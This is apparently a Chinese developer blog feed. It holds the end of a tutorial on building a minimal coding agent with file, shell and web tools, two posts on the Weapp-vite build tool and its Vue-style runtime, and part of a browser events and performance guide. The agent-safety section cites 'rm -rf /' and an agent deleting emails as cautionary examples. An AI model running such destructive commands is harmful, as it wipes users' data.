    • 调用大模型,获取输出
    • 解析输出:是最终回答就返回,是工具调用就执行工具并把结果填回上下文
    • 如果既不是最终回答也不是工具调用,就退出循环

这就是一个最小 Agent 的全部。没有任何复杂的框架,就是一个 for 循环 + 消息数组维护。

Mini Claude Code 设计

有了最小版做基础,我们来做一个更完整的——Mini Claude Code。

先拆 Claude Code CLI

Claude Code CLI 是个超成熟的 Code Agent 范例。要搞 Mini 版,先来简单拆一拆它的核心:

内置工具

  • 文件系统:Read File, write_file File, edit_file File, Search Files...
  • Bash/Shell:最常用,查 Git、跑复杂命令、执行 Python/Node 代码
  • 网络:WebFetch
  • 上下文管理:Plan/Todo
  • MCP Client
  • 子 Agents:进程间交互

上下文

  • 压缩机制
  • 会话历史:.claude/sessions/*.jsonl
  • Skills 系统

为什么会把 Skills 看作是上下文的一种?实际上在 Agent 中,我们的通常做法是在初始化时把 Skills 的索引一同注入到系统提示词里,让模型在需要时调用。它本质上是一个"工具使用指南",一种渐进式纰漏的提示词,但又不是传统意义上的工具,所以我把它归类到上下文管理里。

TUI/CLI

  • claude mcp ..., claude -c, claude -p, claude -dangerous 等用法
  • 终端交互:slash 命令、IO 流等

Mini 版精简设计

工具设计

Mini 版工具精简到 4 个核心,够用不乱:

  • read_file / write_file / edit_file(文件三件套)
  • bash(Shell 执行)
  • WebFetch(网络请求)

原则:工具别贪多。每多一个,模型负担就加重。Unix 哲学——一工具一事,但组合无限。

技术选型:为什么用 Vercel AI SDK?

之前天气 Demo 用原生 fetch 调用 LLM,手动解析 SSE。零依赖好理解,但生产级有几个问题:

问题 1:多 Provider 适配成本高 换一个模型提供商(OpenAI → Anthropic → Gemini),就要重写请求 URL、Header 格式、响应解析逻辑。

问题 2:工具调用状态机要自己维护 agent-loop 里的 for 循环、parseAssistant()、往 history 里推 observation,这些都是在手写一个工具调用的状态机。稍有差错,模型就会丢失上下文。

问题 3:没有类型安全 工具的输入参数是一个裸字符串,解析 JSON 要靠 try/catch,参数字段靠字符串 key 访问,TypeScript 无法帮你检查。

Vercel AI SDK 解决了这三个问题:

  • createOpenAI 创建 Provider,换模型只改一行
  • generateText + maxSteps 内置了工具调用状态机,自动处理多轮循环
  • zod 定义参数 schema,工具的 execute 函数拿到的是已解析、有类型的对象

Vercel AI SDK 的详细用法请见:Vercel AI SDK 最小用法

为什么不用 LangChain / LangGraph?可以思考一下——它们很强大,但对于"理解 Agent 核心原理"这个目标来说,引入的复杂度可能大于带来的价值。

Mini Claude Code 实际代码

来看 Mini Claude Code 的实际项目结构:

mini-claude-code/
├── src/
│   ├── agent/
│   │   ├── loop.ts      # Agent 循环核心
│   │   ├── context.ts   # 上下文管理
│   │   ├── prompt.ts    # 提示词组装
│   │   └── provider.ts  # 模型提供商配置
│   ├── tools/
│   │   ├── index.ts     # 工具注册
│   │   ├── read-file.ts
│   │   ├── write-file.ts
│   │   ├── edit-file.ts
│   │   ├── bash.ts
│   │   └── web-fetch.ts
│   ├── index.ts         # 入口
│   └── SYSTEM_PROMPT.md # 系统提示词
├── package.json
└── .env.example

详细代码在仓库:mini-claude-code

Provider 配置(provider.ts)

import { createOpenAI } from '@ai-sdk/openai'

const qiniu = createOpenAI({
  apiKey: process.env.QINIU_API_KEY!,
  baseURL: process.env.QINIU_API_URL || 'https://api.deepseek.com/v1',
})

export const model = qiniu('claude-4.6-sonnat')

换模型只需要改一行:

import { openai } from '@ai-sdk/openai'

// 换成 OpenAI
export const model = openai('openai/gpt-5.3-codex')

工具定义(tools/index.ts)

用 Vercel AI SDK 的 tool() + zod 定义工具:

import { tool } from 'ai'
import { z } from 'zod'
import { readFile } from './read-file'
import { writeFile } from './write-file'
import { editFile } from './edit-file'
import { bash } from './bash'
import { webFetch } from './web-fetch'

export const tools = {
  read_file: tool({
    description: '读取文件内容',
    parameters: z.object({
      path: z.string().describe('文件路径'),
    }),
    execute: async ({ path }) => readFile(path),
  }),

  write_file: tool({
    description: '写入文件内容',
    parameters: z.object({
      path: z.string().describe('文件路径'),
      content: z.string().describe('文件内容'),
    }),
    execute: async ({ path, content }) => writeFile(path, content),
  }),

  edit_file: tool({
    description: '编辑文件内容',
    parameters: z.object({
      path: z.string().describe('文件路径'),
      oldText: z.string().describe('需要替换的旧文本'),
      newText: z.string().describe('新文本'),
    }),
    execute: async ({ path, oldText, newText }) =>
      editFile(path, oldText, newText),
  }),

  bash: tool({
    description: '执行 Shell 命令',
    parameters: z.object({
      command: z.string().describe('要执行的命令'),
    }),
    execute: async ({ command }) => bash(command),
  }),

  web_fetch: tool({
    description: '获取网页内容',
    parameters: z.object({
      url: z.string().describe('网页 URL'),
    }),
    execute: async ({ url }) => webFetch(url),
  }),
}

注意这里的类型安全:参数由 zod schema 定义,SDK 自动解析,execute 函数拿到的 { path, content } 是有类型的对象,不是字符串。

核心 Loop(agent/loop.ts)

import { generateText } from 'ai'
import { model } from './provider'
import { tools } from '../tools'
import { buildSystemPrompt } from './prompt'

export async function* runAgent(question: string) {
  const systemPrompt = await buildSystemPrompt()

  const result = await generateText({
    model,
    messages: [
      { role: 'system', content: systemPrompt },
      { role: 'user', content: question },
    ],
    tools,
    maxSteps: 10,

    onStepFinish: ({ text, toolCalls, toolResults, finishReason }) => {
      // 这里可以观察每一步的执行过程
      console.log('── 步骤完成 ──────────────')
      if (text) console.log('模型输出:', text)
      for (const call of toolCalls || []) {
        console.log(`调用工具: ${call.toolName}`, call.args)
      }
      for (const result of toolResults || []) {
        console.log(`工具结果: ${result.toolName}`, result.result)
      }
      console.log('结束原因:', finishReason)
    },
  })

  return result.text
}

很魔法的一点,SDK 自动处理了工具调用循环。我们只需要:

  1. 配置 model
  2. 注册 tools
  3. 设置 maxSteps

SDK 就会自动完成:调用模型 → 检测到工具调用 → 执行工具 → 填回结果 → 再次调用模型 → ... → 直到生成最终回答。

运行效果

这里我们问 Mini Claude Code 这是什么项目,效果如下:

202631

比较有意思的是,还让他给自己写了一个介绍网页:

202632

与手写版本的对比

agent-loop(手写) mini-claude-code(SDK)
调用模型 手写 fetch + 解析 JSON generateText()
工具参数 JSON.parse + 手动校验 zod schema 自动解析
工具调用循环 手写 for 循环 + history.push maxSteps 自动处理
换 Provider 改 URL、Header、解析逻辑 换一行 createOpenAI
观察执行过程 console.log 散落各处 onStepFinish 回调

一些实际工程经验

202626

我接触 Agent 开发也算是机缘巧合,从最开始大量的使用 Claude Code 等 Code Agent 编程工具、感兴趣然后自己去研究、最后学习、实践着去做。但是没真正下场之前,我以为 Claude Code 这种东西"差不多就那样"。直到我在做 Memo Code 的过程中才意识到:从"能跑"到"能解决真实问题、能稳定投产",中间的鸿沟还是软件工程。

这里我也选一些比较经典的三类 Agent 的工程问题来聊聊,给大家一些经验:

Agent 上下文工程

聊 Agent / 大模型,绕不开上下文:越跑越长、越长越容易忘。通常要从两个入口拆开看:

  1. 上下文太长了怎么办(模型有固定上下文长度)
  2. 怎么从源头控制上下文不要暴涨

1)上下文太长:压缩 + 断环重启

通用解法是"压缩"。实现上可以很朴素:做 token 计数;当 session 中 context 的 token 占比超过阈值(比如 80%)时,中断当前 Loop,把历史上下文整体丢给模型,让它总结:

  • 已经做了什么
  • 还没做什么
  • 当前状态 / 关键约束
  • 后续注意事项(坑、边界条件、依赖)

然后新开一个会话(或滑动窗口),后续只发送:系统提示词 + 总结 + 新产生的内容。

这一步的关键不在"总结写得多漂亮",而在于它要能支撑下一轮继续干活:信息结构要稳定、可复用、可增量更新。

2)防止上下文暴涨:从源头管住工具输出

真正让上下文爆炸的,很多时候不是用户对话,而是:

  • 工具返回的超长结果(search / read / list)
  • MCP 工具的"工作痕迹"(日志、堆栈、长 JSON)
  • 不合理的提示词(把无关信息一次性塞满)

举个经典例子:TS 项目里的 node_modules,比宇宙还深还大。模型调用 search 去扫项目中的 js/ts 文件,如果 Search 工具没有合理的防护机制,工具返回可能直接无限长,一次下来就能把上下文撑爆。

所以工具设计本身非常重要,至少要有两道闸门:

  • 黑白名单 / ignore 规则:禁止访问某些目录(建议复用 ignore 库,兼容 .gitignore
  • 工具结果拦截:当工具输出超过阈值,要么截断,要么直接返回一个明确的 system-hint,让模型知道"有内容,但被省略了",避免它误以为自己看到了全量信息

比如这种形式就很好(明确、可机器解析、可追踪):

<system_hint type="tool_output_omitted" tool="${toolName}" reason="too_long" actual_chars="${actualChars}" max_chars="${maxChars}">
  Tool output too long, automatically omitted.
</system_hint>

Agent 安全问题

Agent 一旦"能动手",安全问题就不是抽象讨论,而是迟早会发生的事故。

一些我觉得必须认真对待的点:

  • 危险命令误执行rm -rf / 是最经典的例子(早期 Gemini CLI 就踩过)。以及最近"小龙虾误删某高管历史邮件"的故事......这类事故的共同点是:不是模型一定会坏,而是系统缺少最后一道保险
  • 子进程泄漏 / 资源泄漏:Agent 工作时会频繁启停子进程,处理不当就容易出现不可控的内存泄漏。我自己就遇到过:Codex 内存泄漏 54GB,电脑死机。这类问题通常不是"优化一下就好",而是要把资源回收当作一等公民
  • 工具权限边界--dangerous 确实能释放双手,但也会释放风险。到底是给"全程全权限",还是"关键操作每次审批",需要按场景权衡:频繁审批会拖慢体验,但无审批的代价可能是灾难级

七牛 Agent 专用沙箱 或者 e2b、Docker 容器等做法是直接提供给 Agent 一个隔离环境,与用户本地环境隔离开。

可以参考做法:Memo Code 安全设计:子进程、命令防护与权限审批的统一方案,这里不做过多赘述。

Agent 系统提示词

系统提示词怎么写的"内容套路",市面上已经很多了。这里更想聊工程层面的格式与组装:什么样的提示词结构更利好大模型、也更利好长期维护。

很多人把系统提示词当成一个固定的 Markdown 文件来管,但在真实项目里,系统提示词往往要承载这些东西:

  • 基础行为指令(核心身份、输出规范)
  • 用户偏好设置(比如 SOUL.md
  • 项目级上下文(比如 AGENTS.md
  • 动态工具能力(内置工具 + MCP 工具清单/用法)
  • Skills 技能(.agents/skills/skillname/SKILL.md
  • 运行时异常状态(截断提示、危险命令拦截、工具降级)

问题是:来源不同、格式不同、优先级不同,而且有些是运行时动态生成的。这就需要一套统一的拼装逻辑(比如分段、打标签、定义优先级、支持增量更新)。

没有最优解,我把自己在做 Memo Code 时的设计思路整理成了一篇文章: Memo Code 系统提示词架构解析:从模板到上下文组装


收尾

这次课程最大的收获其实是回答了一个问题:"Agent 难不难?"

答案是:核心概念不难,40 行代码就能跑起来。但从玩具到真正能解决问题,中间每一步还是软件工程。

希望这篇文章能帮你推开 Agent 开发的大门。代码仓库在这里:mini-claude-code。相关的教案我也直接放在 Issues 里了。

项目里有两个实战案例:

  • projects/agent-loop —— 纯手写版本,适合理解原理
  • projects/mini-claude-code —— 基于 Vercel AI SDK,适合生产使用

建议先跑通 agent-loop,理解核心循环;再去看 mini-claude-code,学习工程实践。

(完)

重走 Vue 长征路 Weapp-vite:编译链路与 Wevu 运行时原理拆解

作者 icebreaker
2026年3月2日 14:02

bg.jpg

重走 Vue 长征路 Weapp-vite:编译链路与 Wevu 运行时原理拆解

书接上篇

我当时在团队里做《Vue 编译本质论》分享,正好把一些判断过程也整理了下来:为什么这么做,没选什么,以及这些取舍在小程序里到底值不值。

如果你更关心怎么上手,先看发布文会更顺:Weapp-vite:原生模式之外,多一种 Vue SFC 选择

先把边界说清:Wevu 不是 Vue 3 的搬运工

Wevu 用起来确实很像 Vue 3,但骨子里不是一回事。

对比维度 Vue 3 Wevu
运行环境 Web 浏览器 微信小程序
响应式系统 Proxy + effect Proxy + effect(同源)
渲染目标 DOM 节点 小程序页面/组件实例
渲染方式 Virtual DOM Diff → DOM API Snapshot Diff → setData
数据模型 VNode 树 纯 JS 对象快照
更新机制 异步调度 + DOM 操作 异步调度 + setData
生命周期 onMounted/onUpdated 等 映射到小程序生命周期
事件系统 DOM 事件 小程序 bind/catch 事件
SFC 编译 @vitejs/plugin-vue Weapp-vite 内置

说白了就一件事:响应式 API 长得一样,但最后数据往哪送、怎么送,完全不同

API 为什么能"几乎同写法"

refcomputedwatch 这些在 wevu 里跟 Vue 3 写法一模一样,没必要再造一套 DSL 出来。

import { computed, ref, watch } from 'wevu'

const count = ref(0)
const doubled = computed(() => count.value * 2)

watch(count, (val) => {
  console.log('count changed:', val)
})

很多团队迁过来之后第一反应不是"又要学新东西",而是"这不就是我平时写的吗,换了个宿主而已"。

渲染链路才是真正不一样的地方

Vue 3 走的是这条路:

状态变化 -> effect 触发 -> 组件更新 -> VNode Diff -> DOM 操作

Wevu 走的是这条:

状态变化 -> effect 触发 -> 快照 Diff -> setData -> 小程序渲染

Wevu 干的事情说穿了就是把"算出哪些东西变了"这一步尽量提前做完,等到真正调 setData 的时候,payload 已经被压到最小了。这在小程序里特别关键——大家踩过坑的都知道,setData 传多了,页面就卡,尤其是列表页。

.vue 到四件套:编译阶段干了啥

一个 MyComponent.vue 最终会变成小程序四件套:

MyComponent.vue
  ├─> MyComponent.js
  ├─> MyComponent.wxml
  ├─> MyComponent.wxss
  └─> MyComponent.json

中间的流程大概是这样:先把 SFC 拆成四块——<script><template><style><json>,各自按小程序的规矩做转换,最后拼成产物。

其中 <json> 块用来声明页面或组件的配置(比如 usingComponentsnavigationBarTitleText 之类的),不过我更推荐用 definePageJson / defineComponentJson / defineAppJson 这几个编译宏来代替它——有类型提示,能跟 <script setup> 共享上下文,IDE 重构的时候也不容易漏改。<json> 块当兼容手段用没问题,但不太适合当主力。

.vue 文件
  ↓
vue/compiler-sfc 解析
  ↓
┌─────────┬──────────┬─────────┬────────┐
│ <script>│<template>│ <style> │ <json> │
└────┬────┴────┬─────┴────┬────┴───┬────┘
     │         │          │        │
     ↓         ↓          ↓        ↓
  处理宏    指令映射     样式转换  配置提取
     │         │          │        │
     └─────────┴──────────┴────────┘
               ↓
         生成 .js/.wxml/.wxss/.json

增量构建的时候只处理改过的文件,HMR 能跑得比较稳也是靠这个缓存策略撑着。

defineXxxJson 宏的用法

上面提到推荐用编译宏来代替 <json> 块,这里展开说一下。defineAppJsondefinePageJsondefineComponentJson 都是编译期宏,构建时提取合并到对应的 .json 文件里,运行时零开销。写起来大概是这样:

<script setup lang="ts">
  definePageJson({
    navigationBarTitleText: '首页',
    usingComponents: {},
  })
</script>

好处就是直接写在 <script setup> 里,有完整的类型推导,改字段名的时候 IDE 能帮你检查,不会出现"json 里改了但别的地方没跟上"的情况。

原生组件与插槽

.vue 里 import 原生组件之后,构建阶段会看模板里到底用没用到,用到了才往 usingComponents 里补。这样就不用手动维护那堆路径配置了,少写少错。

插槽也是类似的思路。你写的是 Vue 的 slot 语法,但输出的时候会按小程序的 slot 语义来生成。作用域插槽稍微复杂一点,背后走的是一套语义映射加代码生成,不是简单的字符串替换能搞定的。

Rolldown:收益主要体现在日常开发体感

v6 切到 Rolldown 不是为了赶时髦,就是想把开发时的等待再缩短一点。

日常能感受到的主要是三个地方:冷启动快了、改完代码后增量构建更灵敏、项目依赖多的时候不容易抽风。不是那种"跑分暴涨 300%"的故事,更像是每次都省个几百毫秒,积少成多,一天下来体感差挺多的。

为什么没走 createRenderer 这条路

@vue/runtime-corecreateRenderer 技术上能跑通,但拿来对小程序用,会发现抽象层对不上:它要求你提供一套完整的宿主节点操作接口,而小程序这边最核心的更新通道就是 setData(payload),两边的假设不太匹配。

Wevu 选了"编译到 WXML + 快照 diff + 最小 setData"这条路,优化点压在更贴近小程序实际约束的地方。不一定是最优雅的方案,但在真实业务里跑下来更稳当。

展开聊的话内容比较多,单独写了一篇:为什么没有使用 @vue/runtime-core 的 createRenderer 来实现

当前能力范围

日常开发用到的东西基本都覆盖了:v-if / v-for / v-model 这些核心指令,事件和属性绑定,SCSS/Less 和 CSS Modules,props/emits/slots/provide/inject,生命周期,常用的响应式 API,还有 TypeScript 类型推导和泛型组件。

如果你是从 Vue 3 过来的,写法上基本不用重新学,主要就是记住最后跑的不是浏览器而是小程序。

最后

感谢每一位提建议、报 bug、提 PR 的同学。


如果 Weapp-vite 帮到了你,欢迎给项目点个 Star

Happy Coding! 🚀

Weapp-vite:原生模式之外,多一种 Vue SFC 选择

作者 icebreaker
2026年3月2日 14:00

bg.jpg

Weapp-vite:原生模式之外,多一种 Vue SFC 选择

大家好呀,我是你们的老朋友,开源爱好者 icebreaker!又到了新的一年了,祝大家财源滚滚,早日不用上班实现财务自由!

今天主要来分享一下我开源项目 Weapp-vite 的开发里程碑,核心就是来给大家秀一把。

前言

我还记得在过去 Weapp-vite@4.0 的发布文章里,写过这样的话:

Weapp-vite 不适用场景:需要使用 Vue/React 等前端框架的写法,来取代小程序原生写法。

但社区的声音让我重新想了想这个定位。说实话,原生小程序的语法写多了确实烦,尤其是你要是平时写 Vue 3 写习惯了,回头再 this.setData、手动绑事件、管生命周期,就会觉得特别笨重。Vue 的 SFC 设计确实好用,这个没什么好争的。

而且即使到了这个 AI 时代,小程序的验收工具也比较笨重,因为小程序缺少 playwright-cli, agent-browser, chrome-devtools-mcp 这类的验收工具, 还原度远远不及 Web。

另外还有一点就是当时我正好在团队里面做《Vue 编译本质论》的技术分享

所以我就在想能不能把 Weapp-vite 改造成一个既保留原生模式优势,又提供 Vue 开发体验的工具?

于是,Weapp-vite@6 来了——在原生模式之外,多一种 Vue 选择

背景故事:从零运行时到 Vue SFC 支持

最初的定位

Weapp-vite 一开始就是奔着零运行时去的——一个纯粹的原生小程序构建工具。你用原生写法写代码,它给你提供现代化的开发体验,打出来的包尽量小、跑起来尽量快。

这个定位确实满足了不少用户,特别是只做微信小程序、对性能有洁癖的那批人,还有用 Skyline 的。

但我后来一直在琢磨:能不能在不动原生模式的前提下,再给一个 Vue 的选项?

市面上的选择

让我们看看现有的方案吧:

Taro

跨端能力确实强,但运行时代码量不小。分包没规划好的话,主包很容易超。语法上虽然说支持 React/Vue,但写起来总有种"变种"的感觉,踩坑成本不低。

而且说实话 Taro 现在维护节奏慢了不少,issue 堆得挺多的。

我也曾经在 2 年前,在他们的公众号上,看到了招聘启事,于是投了简历,结果人家完全没有鸟我(笑~)。

uni-app

上手是挺快的,但 uni.xxx 那套 API 和专属 DSL 毕竟是另一套东西。uni-app x 搞的 uts,跟标准 Vue 生态和社区总感觉有点貌合神离。

我很喜欢 uni-app, 当时也很早就让我另外一个项目 weapp-tailwindcss 中兼容了 uni-app x,但是我不喜欢 HBuilderX

mpx

滴滴出品,基于 Vue 2.7 + webpack。我不喜欢,技术栈老了,响应式系统跟标准 Vue 也不完全一样。

我的 Weapp-vite 方案,你可以理解成 mpx 的下一代:Vue 3 风格 + Rolldown Vite,只做小程序,但跟原生 API 完全兼容

Weapp-vite 的思路

Weapp-vite@6 想做的事情很简单:同一个工具,两种模式

  • 原生模式:零运行时,包体积和性能都拉满,适合对这些有要求的项目
  • Vue 模式:完整的 Vue 3 写法,适合 Vue 技术栈的团队

两者可以在同一个项目里混着用。.vue 组件能引原生组件,原生组件也能引 .vue 组件,按页面按组件自己选就行。

运行时 Wevu 的诞生

转折点是 wevu 的出现——一个专门给小程序写的 Vue 运行时。

当时本来是叫 wevue 的,但是这个名字 npm 包已经被注册掉了,所以 trimEnd 了一个 e

wevu 保留了 Vue 3 那些核心 API——refcomputedwatchonMounted 之类的,但底层更新走的是小程序的 setData

更重要的是,Wevu 从一开始就是配合 Weapp-vite 的 SFC 编译来设计的,所以编译时能加的糖都尽量加上了,写起来会比较顺手。

编译时 + 运行时

wevu 运行时搞定之后,Vue SFC 编译支持就是顺水推舟的事了。

认识 Wevu:给小程序写的 Vue 3 风格运行时

Wevu 专门给小程序设计,核心思路就是:响应式那套跟 Vue 3 同源,渲染层按小程序的规矩来

它能干什么

  • refreactivecomputedwatchwatchEffect 这些响应式 API 都有,用法跟 Vue 3 一样
  • onMountedonUpdatedonUnmounted 等生命周期钩子,自动映射到小程序对应的生命周期
  • 快照 diff 优化,setData 只传变了的数据路径,不会整坨丢过去
  • 内置了 defineStore/storeToRefs,用法跟 Pinia 差不多
  • 跟 Weapp-vite 的 SFC 编译配合使用,响应式和生命周期都是打通的

Vue 3 和 Wevu 到底哪不一样

响应式 API 和写法基本一致,区别在渲染那层:Wevu 不操作 DOM,而是操作小程序实例,更新走的是"快照 diff + setData"。

为什么没用 createRenderer

@vue/runtime-corecreateRenderer 技术上能做,但拿来对小程序有个根本问题:它假设宿主能提供一套比较完整的节点操作接口,而小程序这边核心就一个 setData(payload),两边的抽象对不上。

Wevu 走的是"编译到 WXML + 快照 diff + 最小 setData",把优化做在更贴近小程序实际情况的地方。

Weapp-vite + Wevu 怎么配合

  • Weapp-vite 管编译:把 Vue SFC 拆开、转换、生成小程序四件套
  • Wevu 管运行时:提供响应式系统和生命周期

两个加一起,你得到的就是:

  1. Vue 3 的开发体验(SFC + Composition API)
  2. 接近小程序原生的运行性能

Vue SFC 支持是直接内置在 weapp-vite 里的,不是外挂插件。

一处编写,四处生成

你写一个 .vue 文件,Weapp-vite 编译完会变成小程序四件套:

MyComponent.vue
    ├─> MyComponent.js    // 脚本逻辑
    ├─> MyComponent.wxml  // 模板结构
    ├─> MyComponent.wxss  // 样式文件
    └─> MyComponent.json  // 组件配置

Vue 的 <script><template><style><json>(可被 defineXXXJson 宏指令取代) 会被拆开,各自转换成小程序能认的格式。整个过程就像是把 Vue 组件"翻译"成了小程序的方言。

Vue 语法怎么转的

这不是简单地把 Vue 代码塞进小程序,而是做了一层语法映射:

Vue 写法 转换为
v-if / v-else-if / v-else wx:if / wx:elif / wx:else
v-for="item in list" wx:for="{{list}}" + wx:key
@click / @tap bindtap / catchtap
:class / :style class="{{...}}" / style="{{...}}"
v-model 双向绑定的完整实现(input/checkbox/radio/textarea 等)
<script setup> 自动处理响应式和生命周期

你按 Vue 的方式写,Weapp-vite 按小程序的方式跑。

工具链友好:智能提示 + AI 协作

智能提示:直接复用 Vue 官方插件

VS Code 里装了 Vue 官方插件(Vue - Official / Volar)的话,Weapp-vite 的 .vue 文件直接就能用上模板智能提示和类型检查,不用再折腾一套新的编辑器插件。

  • v-for 场景下的 :key 等属性补全
  • :class / :style 等常用绑定提示
  • 组件属性与事件相关补全

ic.png

in.png

inc.png

AI 协作

如果你准备用 AI 来协作开发,我自己的顺序一直很固定:先把 skills 装好,再起 MCP,最后按需喂 llms 语料。

先装 skills:

npx skills add sonofmagic/skills

常用的几个:weapp-vite-best-practicesweapp-vite-vue-sfc-best-practiceswevu-best-practices

然后启动 MCP:

weapp-vite mcp

最后是 llms 语料入口:

  • 页面:/llms
  • 文件:/llms.txt/llms-full.txt/llms-index.json
  • 顺序:llms.txt -> llms-full.txt -> llms-index.json

几个常见用法

响应式状态 + 计算属性

<script setup lang="ts">
import { computed, ref } from 'wevu'

const count = ref(0)
const doubled = computed(() => count.value * 2)
</script>

<template>
  <view>
    <text>{{ count }} / {{ doubled }}</text>
    <button @tap="count++">+1</button>
  </view>
</template>

definePageJson 宏定义页面配置

<script setup lang="ts">
definePageJson({
  navigationBarTitleText: '首页',
  navigationBarTextStyle: 'white',
})
</script>

.vue 里直接用原生组件

<script setup lang="ts">
import NativeMeter from '../../native/native-meter/index'
</script>

<template>
  <NativeMeter label="构建链能力" :value="80" />
</template>

v-model 表单双向绑定

<script setup lang="ts">
import { ref } from 'wevu'

const message = ref('')
</script>

<template>
  <input v-model="message" placeholder="输入点什么..." />
  <text>{{ message }}</text>
</template>

更多像 slotsprops/emitsapp.vue 配置以及编译行为说明,已放到原理文档统一说明:Weapp-vite@6 原理拆解

适用场景

双模式并存才是 Weapp-vite 的杀手锏

Weapp-vite@6 最实用的一点就是"同仓双模式"。性能敏感的页面继续走原生,迭代快、业务重的页面丢到 Vue 模式里。迁移可以一个页面一个页面来,不用一口气重写整个项目。

什么时候用 Vue 模式:

  • 你平时写 Vue 3,想用同样的写法搞小程序
  • 团队本来就是 Vue 技术栈,想复用过来
  • 想要热重载、TypeScript 这些现代开发体验
  • 希望 Vue 代码后面还能往 Web 项目上搬

什么时候用原生模式:

  • 对性能有洁癖,一点运行时开销都不想要
  • 已经有一大堆原生代码,不想大动
  • 团队对小程序原生 API 很熟
  • 包体积卡得很死

什么时候该选别的框架?

  • Taro:如果你真的要同时出微信、支付宝、百度、字节好几个平台的小程序,甚至还要编 H5 和 RN,那 Taro 确实是绕不开的。不过说真的,大部分项目真需要跨这么多端吗?

  • uni-app:如果你想要一个开箱即用的全家桶,而且已经习惯了 DCloud 那套生态(HBuilderX、uniCloud 之类的),uni-app 挺合适。就是它的 DSL 跟标准 Vue 还是有些差异。

  • mpx:Vue 2.7 + webpack,技术栈偏老了。

快速体验

  1. 创建项目
pnpm create weapp-vite@latest
# 选择 Wevu 模板或者 Wevu + TDesign 模板
  1. 开发
pnpm dev
  1. 享受 Vue 带来的快乐
<script setup>
import { ref } from 'wevu'

const message = ref('Hello, weapp-vite@6!')
</script>

<template>
  <view>{{ message }}</view>
</template>

技术细节

原理和实现细节,如果大家有兴趣的话,我会另外写一篇专门的技术拆解文档。

后面打算做什么

接下来主要推两条线:支持更多小程序平台,以及支持 Web 目标。

Android / iOS 原生方向

现在原生 Android / iOS 这边,很多场景还是得靠微信开发者工具的多端框架来转。这块后面会继续投入,目标是把链路做得更稳、接入成本更低。

最后

Weapp-vite@6 这次就是想把选择权留给你:要性能就走原生,要开发体验就走 Vue 模式,混着来也行。背后靠的是 vue/compiler-sfc 的解析能力、wevu 的运行时设计,以及社区一路给的真实反馈。

感谢每一位提建议、报 bug、提 PR 的同学。


如果 Weapp-vite 帮到了你,欢迎给项目点个 Star

Happy Coding! 🚀

浏览器前端指南-2

作者 二二四一
2026年3月2日 13:57

🧠 第一章:事件机制与事件循环

1.1 事件流的三阶段

// 事件流:捕获阶段 → 目标阶段 → 冒泡阶段

element.addEventListener('click', () => {
  console.log('冒泡阶段执行');
}, false); // 默认false,冒泡阶段

element.addEventListener('click', () => {
  console.log('捕获阶段执行');
}, true); // true,捕获阶段

执行顺序

【捕获阶段】window → document → htmlbody → parent → target
【目标阶段】target上的监听器(按注册顺序)
【冒泡阶段】target → parent → bodyhtml → document → window

1.2 事件代理(委托)

// ❌ 不好:给每个li绑定事件
document.querySelectorAll('li').forEach(li => {
  li.addEventListener('click', () => console.log('点击'));
});

// ✅ 好:利用冒泡,一个事件搞定
document.querySelector('ul').addEventListener('click', (e) => {
  if (e.target.tagName === 'LI') {
    console.log('点击了', e.target.textContent);
  }
});

优势

  • 减少内存占用
  • 动态添加的元素也能响应

1.3 自定义事件

// 创建自定义事件
const event = new CustomEvent('userLogin', {
  detail: { userId: 123, name: '张三' },
  bubbles: true,
  cancelable: true
});

// 触发事件
window.dispatchEvent(event);

// 监听
window.addEventListener('userLogin', (e) => {
  console.log('用户登录:', e.detail);
});

1.4 事件循环(Event Loop)的微观细节

console.log('1'); // 同步

setTimeout(() => console.log('2'), 0); // 宏任务

Promise.resolve().then(() => {
  console.log('3'); // 微任务
  Promise.resolve().then(() => console.log('4')); // 微任务嵌套
});

queueMicrotask(() => console.log('5')); // 微任务

requestAnimationFrame(() => console.log('6')); // 渲染前执行

// 输出顺序:1, 3, 4, 5, 2, 6

任务优先级

【微任务】Promise.thenMutationObserver、queueMicrotask
   ↓
【渲染】requestAnimationFrame、样式计算、布局、绘制
   ↓
【宏任务】setTimeoutsetInterval、I/O、UI交互
   ↓
【微任务】...(下一轮循环)
  • 微任务在当前宏任务结束后、下一个宏任务前执行
  • requestAnimationFrame在渲染前执行
  • 事件循环的每一轮 = 1个宏任务 + 所有微任务 + 可能的渲染

🎨 第二章:现代Web API与性能

2.1 Intersection Observer(交叉观察器)

// 监听元素是否进入视口
const observer = new IntersectionObserver((entries) => {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      console.log('元素进入视口', entry.target);
      
      // 懒加载图片
      const img = entry.target;
      img.src = img.dataset.src;
      
      // 停止观察(加载后就不需要了)
      observer.unobserve(img);
    }
  });
}, {
  threshold: 0.5, // 50%可见时触发
  rootMargin: '50px' // 提前50px触发
});

// 观察所有懒加载图片
document.querySelectorAll('img[data-src]').forEach(img => {
  observer.observe(img);
});

应用场景

  • 图片懒加载
  • 无限滚动
  • 曝光埋点
  • 广告可见性统计

2.2 Resize Observer(尺寸变化观察)

// 监听元素尺寸变化
const observer = new ResizeObserver((entries) => {
  for (let entry of entries) {
    const { width, height } = entry.contentRect;
    console.log('尺寸变化:', width, height);
    
    // 自适应布局
    if (width < 600) {
      entry.target.classList.add('mobile');
    } else {
      entry.target.classList.remove('mobile');
    }
  }
});

observer.observe(document.querySelector('.container'));

2.3 Mutation Observer(DOM变化观察)

// 监听DOM变化
const observer = new MutationObserver((mutations) => {
  mutations.forEach(mutation => {
    if (mutation.type === 'childList') {
      console.log('子节点变化:', mutation.addedNodes, mutation.removedNodes);
    }
    if (mutation.type === 'attributes') {
      console.log('属性变化:', mutation.attributeName);
    }
  });
});

observer.observe(document.body, {
  childList: true, // 子节点变化
  attributes: true, // 属性变化
  subtree: true, // 子树也观察
  characterData: true // 文本变化
});

2.4 Performance API

// 性能监控
const perfData = {
  // 导航计时
  navigation: performance.getEntriesByType('navigation')[0],
  
  // 资源加载
  resources: performance.getEntriesByType('resource'),
  
  // 关键时间点
  timing: performance.timing,
  
  // 内存信息(Chrome only)
  memory: performance.memory
};

// 计算关键指标
const paint = performance.getEntriesByType('paint');
const fcp = paint.find(entry => entry.name === 'first-contentful-paint');
console.log('FCP:', fcp.startTime);

// 自定义打点
performance.mark('start-fetch');
await fetch('/api/data');
performance.mark('end-fetch');
performance.measure('fetch-time', 'start-fetch', 'end-fetch');

// 获取测量结果
const measures = performance.getEntriesByType('measure');

2.5 长任务监控

// 监控长任务(>50ms的任务)
const observer = new PerformanceObserver((list) => {
  for (const entry of list.getEntries()) {
    console.log('长任务:', {
      duration: entry.duration,
      startTime: entry.startTime,
      name: entry.name
    });
    
    // 上报监控系统
    reportLongTask(entry);
  }
});

